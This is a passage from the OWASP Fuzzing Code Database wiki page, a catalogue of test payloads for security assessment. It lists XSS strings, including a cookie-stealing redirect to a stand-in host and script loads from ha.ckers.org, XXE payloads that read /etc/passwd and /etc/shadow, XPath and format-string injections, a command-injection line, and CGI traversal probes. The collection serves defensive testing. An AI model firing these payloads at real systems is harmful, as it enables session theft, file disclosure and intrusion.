to=&quot;&quot;XSS&amp;lt;SCRIPT DEFER&amp;gt;alert(&quot;&quot;XSS&quot;&quot;)&amp;lt;/SCRIPT&amp;gt;&quot;&quot;&amp;gt;&amp;lt;/BODY&amp;gt;&amp;lt;/HTML&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT SRC=&quot;&quot;http://ha.ckers.org/xss.jpg&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;!--#exec cmd=&quot;&quot;/bin/echo '&amp;lt;SCR'&quot;&quot;--&amp;gt;&amp;lt;!--#exec cmd=&quot;&quot;/bin/echo 'IPT SRC=http://ha.ckers.org/xss.js&amp;gt;&amp;lt;/SCRIPT&amp;gt;'&quot;&quot;--&amp;gt;&quot;<br /> &quot;&amp;lt;? echo('&amp;lt;SCR)';echo('IPT&amp;gt;alert(&quot;&quot;XSS&quot;&quot;)&amp;lt;/SCRIPT&amp;gt;');&amp;nbsp;?&amp;gt;&quot;<br /> &quot;&amp;lt;META HTTP-EQUIV=&quot;&quot;Set-Cookie&quot;&quot; Content=&quot;&quot;USERID=&amp;lt;SCRIPT&amp;gt;alert('XSS')&amp;lt;/SCRIPT&amp;gt;&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;HEAD&amp;gt;&amp;lt;META HTTP-EQUIV=&quot;&quot;CONTENT-TYPE&quot;&quot; CONTENT=&quot;&quot;text/html; charset=UTF-7&quot;&quot;&amp;gt; &amp;lt;/HEAD&amp;gt;+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-&quot;<br /> &quot;&amp;lt;SCRIPT a=&quot;&quot;&amp;gt;&quot;&quot; SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT =&quot;&quot;&amp;gt;&quot;&quot; SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT a=&quot;&quot;&amp;gt;&quot;&quot; '' SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT &quot;&quot;a='&amp;gt;'&quot;&quot; SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT a=`&amp;gt;` SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT a=&quot;&quot;&amp;gt;'&amp;gt;&quot;&quot; SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT&amp;gt;document.write(&quot;&quot;&amp;lt;SCRI&quot;&quot;);&amp;lt;/SCRIPT&amp;gt;PT SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://66.102.7.147/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://1113982867/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://0x42.0x0000066.0x7.0x93/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://0102.0146.0007.00000223/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;h\ntt\tp://6&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;//www.google.com/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;//google&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://google.com/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://www.google.com./&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;javascript:document.location='http://www.google.com/'&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://www.gohttp://www.google.com/ogle.com/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;div onmouseover=&quot;&quot;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;img src=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;input type=&quot;&quot;image&quot;&quot; dynsrc=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;bgsound src=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;amp;{document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);};&quot;<br /> &quot;&amp;lt;img src=&amp;amp;{document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);};&amp;gt;&quot;<br /> &quot;&amp;lt;link rel=&quot;&quot;stylesheet&quot;&quot; href=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;iframe src=&quot;&quot;vbscript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;img src=&quot;&quot;livescript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;a href=&quot;&quot;about:&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/script&amp;gt;&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;meta http-equiv=&quot;&quot;refresh&quot;&quot; content=&quot;&quot;0;url=javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;body onload=&quot;&quot;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div style=&quot;&quot;background-image: url(javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;););&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div style=&quot;&quot;behaviour: url([link to code]);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div style=&quot;&quot;binding: url([link to code]);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div style=&quot;&quot;width: expression(document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;););&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;style type=&quot;&quot;text/javascript&quot;&quot;&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/style&amp;gt;&quot;<br /> &quot;&amp;lt;object classid=&quot;&quot;clsid:...&quot;&quot; codebase=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;style&amp;gt;&amp;lt;!--&amp;lt;/style&amp;gt;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);//--&amp;gt;&amp;lt;/script&amp;gt;&quot;<br /> &quot;&amp;lt;![CDATA[&amp;lt;!--]]&amp;gt;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);//--&amp;gt;&amp;lt;/script&amp;gt;&quot;<br /> &quot;&amp;lt;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/script&amp;gt;&quot;<br /> &quot;&amp;lt;img src=&quot;&quot;blah&quot;&quot;onmouseover=&quot;&quot;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;img src=&quot;&quot;blah&amp;gt;&quot;&quot; onmouseover=&quot;&quot;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div datafld=&quot;&quot;b&quot;&quot; dataformatas=&quot;&quot;html&quot;&quot; datasrc=&quot;&quot;#X&quot;&quot;&amp;gt;&amp;lt;/div&amp;gt;&quot;<br /> &quot;&amp;lt;a href=&quot;&quot;javascript#document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;img dynsrc=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;amp;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/script&amp;gt;&quot;<br /> &quot;&amp;lt;img src=&quot;&quot;mocha:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div style=&quot;&quot;binding: url([link to code]);&quot;&quot;&amp;gt; [Mozilla]&quot;<br /> &quot;&amp;lt;!-- -- --&amp;gt;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/script&amp;gt;&amp;lt;!-- -- --&amp;gt;&quot;<br /> &quot;&amp;lt;xml src=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;xml id=&quot;&quot;X&quot;&quot;&amp;gt;&amp;lt;a&amp;gt;&amp;lt;b&amp;gt;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/script&amp;gt;;&amp;lt;/b&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/xml&amp;gt;&quot;<br /> &quot;[\xC0][\xBC]script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);[\xC0][\xBC]/script&amp;gt;&quot;<br /> &amp;gt;&amp;lt;script&amp;gt;<br /> &quot;&amp;lt;script&amp;gt;alert(&quot;&quot;WXSS&quot;&quot;)&amp;lt;/script&amp;gt;&quot;<br /> &quot;&amp;lt;&amp;lt;script&amp;gt;alert(&quot;&quot;WXSS&quot;&quot;);//&amp;lt;&amp;lt;/script&amp;gt;&quot;<br /> &amp;lt;script&amp;gt;alert(document.cookie)&amp;lt;/script&amp;gt;<br /> '&amp;gt;&amp;lt;script&amp;gt;alert(document.cookie)&amp;lt;/script&amp;gt;<br /> '&amp;gt;&amp;lt;script&amp;gt;alert(document.cookie);&amp;lt;/script&amp;gt;<br /> &quot;%3cscript%3ealert(&quot;&quot;WXSS&quot;&quot;);%3c/script%3e&quot;<br /> %3cscript%3ealert(document.cookie);%3c%2fscript%3e<br /> %3Cscript%3Ealert(%22X%20SS%22);%3C/script%3E<br /> &amp;amp;ltscript&amp;amp;gtalert(document.cookie);&amp;lt;/script&amp;gt;<br /> &amp;amp;ltscript&amp;amp;gtalert(document.cookie);&amp;amp;ltscript&amp;amp;gtalert<br /> &amp;lt;xss&amp;gt;&amp;lt;script&amp;gt;alert('WXSS')&amp;lt;/script&amp;gt;&amp;lt;/vulnerable&amp;gt;<br /> &amp;lt;IMG%20SRC='javascript:alert(document.cookie)'&amp;gt;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;javascript:alert('WXSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;javascript:alert('WXSS')&quot;&quot;&quot;<br /> &amp;lt;IMG%20SRC=JaVaScRiPt:alert('WXSS')&amp;gt;<br /> &amp;lt;IMG%20SRC=javascript:alert(&quot;WXSS&quot;)&amp;gt;<br /> &quot;&amp;lt;IMG%20SRC=`javascript:alert(&quot;&quot;'WXSS'&quot;&quot;)`&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20&quot;&quot;&quot;&quot;&quot;&quot;&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(&quot;&quot;WXSS&quot;&quot;)&amp;lt;/SCRIPT&amp;gt;&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;IMG%20SRC=javascript:alert(String.fromCharCode(88,83,83))&amp;gt;<br /> &amp;lt;IMG%20SRC='javasc<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;jav&quot;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;jav ascript:alert('WXSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;jav<br /> ascript:alert('WXSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;jav<br /> ascript:alert('WXSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;%20&amp;amp;#14;%20javascript:alert('WXSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20DYNSRC=&quot;&quot;javascript:alert('WXSS')&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20LOWSRC=&quot;&quot;javascript:alert('WXSS')&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;IMG%20SRC='%26%23x6a;avasc%26%23000010ript:a%26%23x6c;ert(document.%26%23x63;ookie)'&amp;gt;<br /> &amp;lt;IMG%20SRC=javascript:alert('XSS')&amp;gt;<br /> &amp;lt;IMG%20SRC=&amp;amp;#0000106&amp;amp;#0000097&amp;amp;#0000118&amp;amp;#0000097&amp;amp;#0000115&amp;amp;#0000099&amp;amp;#0000114&amp;amp;#0000105&amp;amp;#0000112&amp;amp;#0000116&amp;amp;#0000058&amp;amp;#0000097&amp;amp;#0000108&amp;amp;#0000101&amp;amp;#0000114&amp;amp;#0000116&amp;amp;#0000040&amp;amp;#0000039&amp;amp;#0000088&amp;amp;#0000083&amp;amp;#0000083&amp;amp;#0000039&amp;amp;#0000041&amp;gt;<br /> &amp;lt;IMG%20SRC=&amp;amp;#x6A&amp;amp;#x61&amp;amp;#x76&amp;amp;#x61&amp;amp;#x73&amp;amp;#x63&amp;amp;#x72&amp;amp;#x69&amp;amp;#x70&amp;amp;#x74&amp;amp;#x3A&amp;amp;#x61&amp;amp;#x6C&amp;amp;#x65&amp;amp;#x72&amp;amp;#x74&amp;amp;#x28&amp;amp;#x27&amp;amp;#x58&amp;amp;#x53&amp;amp;#x53&amp;amp;#x27&amp;amp;#x29&amp;gt;<br /> '%3CIFRAME%20SRC=javascript:alert(%2527XSS%2527)%3E%3C/IFRAME%3E<br /> &quot;&amp;gt;&amp;lt;script&amp;gt;document.location='http://cookieStealer/cgi-bin/cookie.cgi?'+document.cookie&amp;lt;/script&amp;gt;<br /> %22%3E%3Cscript%3Edocument%2Elocation%3D%27http%3A%2F%2Fyour%2Esite%2Ecom%2Fcgi%2Dbin%2Fcookie%2Ecgi%3F%27%20%2Bdocument%2Ecookie%3C%2Fscript%3E<br /> ';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//;alert(String.fromCharCode(88,83,83))//\;alert(String.fromCharCode(88,83,83))//&amp;gt;&amp;lt;/SCRIPT&amp;gt;!--&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt;=&amp;amp;{}<br /> '';!--&amp;lt;XSS&amp;gt;=&amp;amp;{()}&quot;<br /> &lt;/pre&gt; <br /> &lt;br&gt; <br /> <br /> === XML Attacks - (Update: 11 August 2009 - Total Statements: 15) ===<br /> &lt;pre&gt;Statements<br /> count(/child::node())<br /> x' or name()='username' or 'x'='y<br /> &amp;lt;name&amp;gt;','')); phpinfo(); exit;/*&amp;lt;/name&amp;gt;<br /> &amp;lt;![CDATA[&amp;lt;script&amp;gt;var n=0;while(true){n++;}&amp;lt;/script&amp;gt;]]&amp;gt;<br /> &amp;lt;![CDATA[&amp;lt;]]&amp;gt;SCRIPT&amp;lt;![CDATA[&amp;gt;]]&amp;gt;alert('XSS');&amp;lt;![CDATA[&amp;lt;]]&amp;gt;/SCRIPT&amp;lt;![CDATA[&amp;gt;]]&amp;gt;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;foo&amp;gt;&amp;lt;![CDATA[&amp;lt;]]&amp;gt;SCRIPT&amp;lt;![CDATA[&amp;gt;]]&amp;gt;alert('XSS');&amp;lt;![CDATA[&amp;lt;]]&amp;gt;/SCRIPT&amp;lt;![CDATA[&amp;gt;]]&amp;gt;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;foo&amp;gt;&amp;lt;![CDATA[' or 1=1 or ''=']]&amp;gt;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;!DOCTYPE foo [&amp;lt;!ELEMENT foo ANY&amp;gt;&amp;lt;!ENTITY xxe SYSTEM &quot;&quot;file://c:/boot.ini&quot;&quot;&amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;!DOCTYPE foo [&amp;lt;!ELEMENT foo ANY&amp;gt;&amp;lt;!ENTITY xxe SYSTEM &quot;&quot;file:////etc/passwd&quot;&quot;&amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;!DOCTYPE foo [&amp;lt;!ELEMENT foo ANY&amp;gt;&amp;lt;!ENTITY xxe SYSTEM &quot;&quot;file:////etc/shadow&quot;&quot;&amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;!DOCTYPE foo [&amp;lt;!ELEMENT foo ANY&amp;gt;&amp;lt;!ENTITY xxe SYSTEM &quot;&quot;file:////dev/random&quot;&quot;&amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;xml ID=I&amp;gt;&amp;lt;X&amp;gt;&amp;lt;C&amp;gt;&amp;lt;![CDATA[&amp;lt;IMG SRC=&quot;&quot;javas]]&amp;gt;&amp;lt;![CDATA[cript:alert('XSS');&quot;&quot;&amp;gt;]]&amp;gt;&quot;<br /> &quot;&amp;lt;xml ID=&quot;&quot;xss&quot;&quot;&amp;gt;&amp;lt;I&amp;gt;&amp;lt;B&amp;gt;&amp;lt;IMG SRC=&quot;&quot;javas&amp;lt;!-- --&amp;gt;cript:alert('XSS')&quot;&quot;&amp;gt;&amp;lt;/B&amp;gt;&amp;lt;/I&amp;gt;&amp;lt;/xml&amp;gt;&amp;lt;SPAN DATASRC=&quot;&quot;#xss&quot;&quot; DATAFLD=&quot;&quot;B&quot;&quot; DATAFORMATAS=&quot;&quot;HTML&quot;&quot;&amp;gt;&amp;lt;/SPAN&amp;gt;&amp;lt;/C&amp;gt;&amp;lt;/X&amp;gt;&amp;lt;/xml&amp;gt;&amp;lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&amp;gt;&amp;lt;/SPAN&amp;gt;&quot;<br /> &quot;&amp;lt;xml SRC=&quot;&quot;xsstest.xml&quot;&quot; ID=I&amp;gt;&amp;lt;/xml&amp;gt;&amp;lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&amp;gt;&amp;lt;/SPAN&amp;gt;&quot;<br /> &quot;&amp;lt;HTML xmlns:xss&amp;gt;&amp;lt;?import namespace=&quot;&quot;xss&quot;&quot; implementation=&quot;&quot;http://ha.ckers.org/xss.htc&quot;&quot;&amp;gt;&amp;lt;xss:xss&amp;gt;XSS&amp;lt;/xss:xss&amp;gt;&amp;lt;/HTML&amp;gt;&quot;<br /> &lt;/pre&gt; <br /> === Format String Statements - (Update: xx/xx/xx - Total Statements: 28) ===<br /> &lt;pre&gt;%s%p%x%d<br /> .1024d<br /> %.2049d<br /> %p%p%p%p<br /> %x%x%x%x<br /> %d%d%d%d<br /> %s%s%s%s<br /> %99999999999s<br /> %08x<br /> %%20d<br /> %%20n<br /> %%20x<br /> %%20s<br /> %s%s%s%s%s%s%s%s%s%s<br /> %p%p%p%p%p%p%p%p%p%p<br /> %#0123456x%08x%x%s%p%d%n%o%u%c%h%l%q%j%z%Z%t%i%e%g%f%a%C%S%08x%%<br /> f(x)=%s x 123<br /> f(x)=%x x 255<br /> %x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x<br /> %s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s<br /> XXXXX.%p<br /> XXXXX`perl -e 'print &quot;.%p&quot; x 80'`<br /> `perl -e 'print &quot;.%p&quot; x 80'`%n<br /> %08x.%08x.%08x.%08x.%08x\n<br /> XXX0_%08x.%08x.%08x.%08x.%08x\n<br /> %.16705u%2\$hn<br /> \x10\x01\x48\x08_%08x.%08x.%08x.%08x.%08x|%s|<br /> ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;id &amp;gt; /tmp/file; exit;<br /> &lt;/pre&gt; <br /> ==== Project Contributor ====<br /> <br /> Project Leader: [[:User:Wagner.elias|'''Wagner Elias''']] <br /> <br /> Reviewer: [[:User:eneves|'''Eduardo Neves''']] <br /> <br /> Contributor: [[:User:ulisses.castro|'''Ulisses Castro''']] <br /> <br /> ==== Feedback and Participation ====<br /> <br /> We hope you find the Fuzzing Code Database useful. Please contribute to the Project by volunteering for one of the tasks, sending your comments, questions, and suggestions to wagner.elias |at| owasp.org <br /> <br /> ==== Project Identification ====<br /> <br /> {{Template:OWASP Project Identification Tab<br /> | project_name = OWASP Fuzzing Code Database<br /> | project_description = <br /> | leader_name = Wagner Elias<br /> | leader_email = <br /> | leader_username = Wagner.elias<br /> | maintainer_name = <br /> | maintainer_email = <br /> | maintainer_username = <br /> | contributor_name1 = <br /> | contributor_email1 = <br /> | contributor_username1 = <br /> | contributor_name2 = <br /> | contributor_email2 = <br /> | contributor_username2 = <br /> | contributor_name3 = <br /> | contributor_email3 = <br /> | contributor_username3 = <br /> | contributor_name4 = <br /> | contributor_email4 = <br /> | contributor_username4 = <br /> | contributor_name5 = <br /> | contributor_email5 = <br /> | contributor_username5 = <br /> | contributor_name6 = <br /> | contributor_email6 = <br /> | contributor_username6 = <br /> | contributor_name7 = <br /> | contributor_email7 = <br /> | contributor_username7 = <br /> | contributor_name8 = <br /> | contributor_email8 = <br /> | contributor_username8 = <br /> | contributor_name9 = <br /> | contributor_email9 = <br /> | contributor_username9 = <br /> | contributor_name10 = <br /> | contributor_email10 = <br /> | contributor_username10 = <br /> | pamphlet_link = <br /> | mailing_list_name = owasp-fuzzing-code-database<br /> | links_url1 = <br /> | links_name1 = <br /> | links_url2 = <br /> | links_name2 = <br /> | links_url3 = <br /> | links_name3 = <br /> | links_url4 = <br /> | links_name4 = <br /> | links_url5 = <br /> | links_name5 = <br /> | links_url6 = <br /> | links_name6 = <br /> | links_url7 = <br /> | links_name7 = <br /> | links_url8 = <br /> | links_name8 = <br /> | links_url9 = <br /> | links_name9 = <br /> | links_url10 = <br /> | links_name10 = <br /> | project_road_map =<br /> | project_health_status = <br /> | current_release_name = <br /> | current_release_date = <br /> | current_release_download_link = <br /> | current_release_rating = <br /> | current_release_leader_name = <br /> | current_release_leader_email = <br /> | current_release_leader_username = <br /> | last_reviewed_release_name = <br /> | last_reviewed_release_date = <br /> | last_reviewed_release_download_link = <br /> | last_reviewed_release_rating = <br /> | last_reviewed_release_leader_name = <br /> | last_reviewed_release_leader_email = <br /> | last_reviewed_release_leader_username = <br /> | old_release_name1 = <br /> | old_release_date1 = <br /> | old_release_download_link1 = <br /> | old_release_name2 = <br /> | old_release_date2 = <br /> | old_release_download_link2 = <br /> | old_release_name3 = <br /> | old_release_date3 = <br /> | old_release_download_link3 = <br /> | old_release_name4 = <br /> | old_release_date4 = <br /> | old_release_download_link4 = <br /> | old_release_name5 = <br /> | old_release_date5 = <br /> | old_release_download_link5 = <br /> }} __NOTOC__ &lt;headertabs /&gt; <br /> <br /> [[Category:OWASP_Project|Fuzzing Code Database]] [[Category:OWASP_Document]] [[Category:OWASP_Alpha_Quality_Document]]</div>

Adam.muntner https://wiki.owasp.org/index.php?title=Category:OWASP_Fuzzing_Code_Database&diff=80083 2010-03-17T21:15:54Z

<p>Adam.muntner: /* (Uncommon Data File Extensions (Update: 16 March 2009 - Total Statements: 284) */</p> <hr /> <div>This database is a collection of several statements used in code injection, fuzzing and brute-force aproach. All too often security professionals rely on their own repositories of statements collected from assessments they've conducted. These repositories are prone to being incomplete or outdated. We want to collect all these statements, merging the statements from several projects like [[WebScarab]], [[WebSlayer]] and [[JBroFuzz]] with member contributions to build a comprehensive dataset of effective statements to provide better testing results. Please add your own statements and check out the statements already added. <br /> <br /> ==== News ====<br /> <br /> '''02 February 2010'''' <br /> <br /> *Created new Category Lotus/Notes Files<br /> <br /> '''11 August 2009''' <br /> <br /> *Created new Category: XML Attacks<br /> <br /> ''Update Statements'' <br /> <br /> *15 new XML Statements <br /> *93 new SQL Injections Statements <br /> *67 new Traversal Directory Statements <br /> *Delete 33 XSS Statement Duplicate <br /> *30 New XSS Statements<br /> <br /> '''7 August 2009''' <br /> <br /> *Updated the objectives of the project.<br /> <br /> '''21 July 2009''' <br /> <br /> *Set the team responsible for the project.<br /> <br /> ==== Goals ====<br /> <br /> This project intend to create a database that concentrate all tools which are based on wordlists such as Webscarab, JBroFuzz, Web Slayer , Dirbuster. and others. In addition to current tools developed by OWASP members we will create a database following a style similar to Open Vulnerability and Assessment Language (OVAL) where any tool can adopt and use a XML file maintained by OWASP. <br /> <br /> In addition, the following functionalities will be included on this project: <br /> <br /> 1 - The statements of ASDR Project 2 - Browser 3 - Operational System 4 - Databases <br /> <br /> An URL will also be published to create an collaborative environment for the maintenance process where the following features are planned: <br /> <br /> 1 - Deploy a process where a new statement can be suggested and registered if is not valid yet and not maintained in other database. <br /> <br /> 2 - A list where besides the statement, a single id will be maintained to identify each statement with a description and the results of the exploitation. <br /> <br /> 3 - Possibility to support users on the report of their own experiences with the statements. <br /> <br /> ==== Statements ====<br /> <br /> === Vulnerable Cross-Platform CGI (17 March 2010) ===<br /> &lt;pre&gt;# Vulnerable Cross-Platform CGI (17 March 2010) <br /> # fuzz inside cgi directories<br /> # on windows, this is usually /scripts or /bin or /cgi-bin, on unix, usually /cgi-bin, /nph-cgi<br /> # adam.muntner@quietmove.com<br /> <br /> %2e%2e/abyss.conf<br /> .access<br /> .cobalt<br /> .cobalt/alert/service.cgi?service=&lt;img%20src=javascript:alert('XSS')&gt;<br /> .cobalt/alert/service.cgi?service=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> .fhp<br /> .htaccess<br /> .htaccess.old<br /> .htaccess.save<br /> .htaccess~<br /> .htpasswd<br /> .nsconfig<br /> .passwd<br /> .www_acl<br /> .wwwacl<br /> /_vti_pvt/doctodep.btr<br /> 14all-1.1.cgi?cfg=../../../../../../../..{KNOWNFILE}<br /> 14all.cgi?cfg=../../../../../../../..{KNOWNFILE}<br /> AT-admin.cgi<br /> AT-generate.cgi<br /> Album?mode=album&amp;album=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc&amp;dispsize=640&amp;start=0<br /> AnyBoard.cgi<br /> AnyForm<br /> AnyForm2<br /> Backup/add-passwd.cgi<br /> C<br /> Count.cgi<br /> DC<br /> DCFORM<br /> File<br /> FormHandler.cgi?realname=aaa&amp;email=aaa&amp;reply_message_template=%2Fetc%2Fpasswd&amp;reply_message_from=sq%40example.com&amp;redirect=http%3A%2F%2Fwww.example.com&amp;recipient=sq%40example.com<br /> FormMail.cgi?&lt;script&gt;alert(\<br /> FormMail.pl<br /> ImageFolio/admin/admin.cgi<br /> 